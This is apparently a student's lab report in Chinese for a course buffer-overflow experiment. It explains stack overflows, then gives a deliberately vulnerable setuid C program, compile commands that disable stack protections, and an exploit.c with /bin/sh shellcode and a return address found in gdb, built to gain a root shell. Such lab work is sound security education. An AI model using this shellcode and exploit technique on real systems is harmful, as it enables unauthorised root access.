實驗樓 緩衝區溢位漏洞實驗 20181209 沙桐
(一)實驗內容
緩衝區溢位是指程式試圖向緩衝區寫入超出預分配固定長度資料的情況。這一漏洞可以被惡意使用者利用來改變程式的流控制,甚至執行程式碼的任意片段。這一漏洞的出現是由於資料緩衝器和返回地址的暫時關閉,溢位會引起返回地址被重寫。
注意:實驗中命令在 xfce 終端中輸入,前面有 $
的內容為在終端輸入的命令,$
號不需要輸入。命令上有 #
的內容為註釋,不需要輸入
適用人群:
- 有 C 語言基礎
- 會進位制轉換以及計算
- vim 基本使用
- 熟悉基本 linux 命令
緩衝區溢位是指程式試圖向緩衝區寫入超出預分配固定長度資料的情況。這一漏洞可以被惡意使用者利用來改變程式的流控制,甚至執行程式碼的任意片段。這一漏洞的出現是由於資料緩衝器和返回地址的暫時關閉,溢位會引起返回地址被重寫
緩衝區溢位是什麼?
緩衝區溢位是指當計算機向緩衝區內填充資料位數時超過了緩衝區本身的容量溢位的資料在合法資料上,理想的情況是程式檢查資料長度並不允許輸入超過緩衝區長度的字元,但是絕大多數程式都會假設資料長度總是與所分配的儲存空間相匹配,這就為緩衝區溢位埋下隱患,作業系統所使用的緩衝區,又被稱為"堆疊"。在各個操作程序之間,指令會被臨時儲存在"堆疊"當中,"堆疊"也會出現緩衝區溢位。
緩衝區溢位攻擊及其原理:
通過往程式的緩衝區寫超出其長度的內容,造成緩衝區的溢位,從而破壞程式的堆疊,使程式轉而執行其它指令,以達到攻擊的目的。造成緩衝區溢位的原因是程式中沒有仔細檢查使用者輸入的引數。
這也是稍後做題的突破原理,緩衝區漏洞普遍並且易於實現,緩衝區溢位成為遠端攻擊的主要手段其原因在於緩衝區溢位漏洞給予了攻擊者他所想要的一切:植入並且執行攻擊程式碼。被植入的攻擊程式碼以一定的許可權執行有緩衝區溢位漏洞的程式,從而得到被攻擊主機的控制權。
大多數的緩衝溢位攻擊都是通過改變程式執行的流程到入侵者植入的惡意程式碼,其主要目的是為了獲取超級使用者的shell。
原理相當簡單:將惡意指令存放在buffer中,這段指令可以得到 程序的控制權,從而達到攻擊的目的
(二)實驗要求
輸入命令安裝一些用於編譯 32 位 C 程式的軟體包:
sudo apt-get update
sudo apt-get install -y lib32z1 libc6-dev-i386 lib32readline6-dev
sudo apt-get install -y python3.6-gdbm gdb
實驗緩衝區溢位實驗報告
課程:資訊安全系統設計與實現班級: 1812
姓名: 沙桐
學號:20181209
實驗日期:2020年10月11日
必修/選修: 公選課
1.實驗內容
在 /tmp 目錄下新建一個 stack.c 檔案:/* stack.c */ /* This program has a buffer overflow vulnerability. */ /* Our task is to exploit this vulnerability */ #include <stdlib.h> #include <stdio.h> #include <string.h> int bof(char *str) { char buffer[12]; /* The following statement has a buffer overflow problem */ strcpy(buffer, str); return 1; } int main(int argc, char **argv) { char str[517]; FILE *badfile; badfile = fopen("badfile", "r"); fread(str, sizeof(char), 517, badfile); bof(str); printf("Returned Propely\n"); return 1;
編譯,並設定set-uid
sudo su gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c chmod u+s stack exit
在
/tmp
目錄下新建一個exploit.c
檔案,用以攻擊剛才的漏洞程式獲得root許可權:
/* exploit.c */ /* A program that creates a file containing code for launching shell*/ #include <stdlib.h> #include <stdio.h> #include <string.h> char shellcode[] = "\x31\xc0" //xorl %eax,%eax "\x50" //pushl %eax "\x68""//sh" //pushl $0x68732f2f "\x68""/bin" //pushl $0x6e69622f "\x89\xe3" //movl %esp,%ebx "\x50" //pushl %eax "\x53" //pushl %ebx "\x89\xe1" //movl %esp,%ecx "\x99" //cdq "\xb0\x0b" //movb $0x0b,%al "\xcd\x80" //int $0x80 ; void main(int argc, char **argv) { char buffer[517]; FILE *badfile; /* Initialize buffer with 0x90 (NOP instruction) */ memset(&buffer, 0x90, 517); /* You need to fill the buffer with appropriate contents here */ strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??"); //在buffer特定偏移處起始的四個位元組覆蓋sellcode地址 strcpy(buffer + 100, shellcode); //將shellcode拷貝至buffer,偏移量設為了 100 /* Save the contents to the file "badfile" */ badfile = fopen("./badfile", "w"); fwrite(buffer, 517, 1, badfile); fclose(badfile); }
注意上述程式碼,\x??\x??\x??\x?? 處需要改為 shellcode 儲存在記憶體中的地址,因為發生溢位後這個位置要覆蓋返回地址。
而 strcpy(buffer+100,shellcode),shellcode儲存在 buffer + 100 的位置。下面將介紹尋找這個 buffer 的地址。
輸入命令進入 gdb 除錯
gdb stack disass main
修改exploit.c檔案,將 \x??\x??\x??\x?? 修改為 \x24\xd5\xff\xff 並編譯。
gcc -m32 -o exploit exploit.c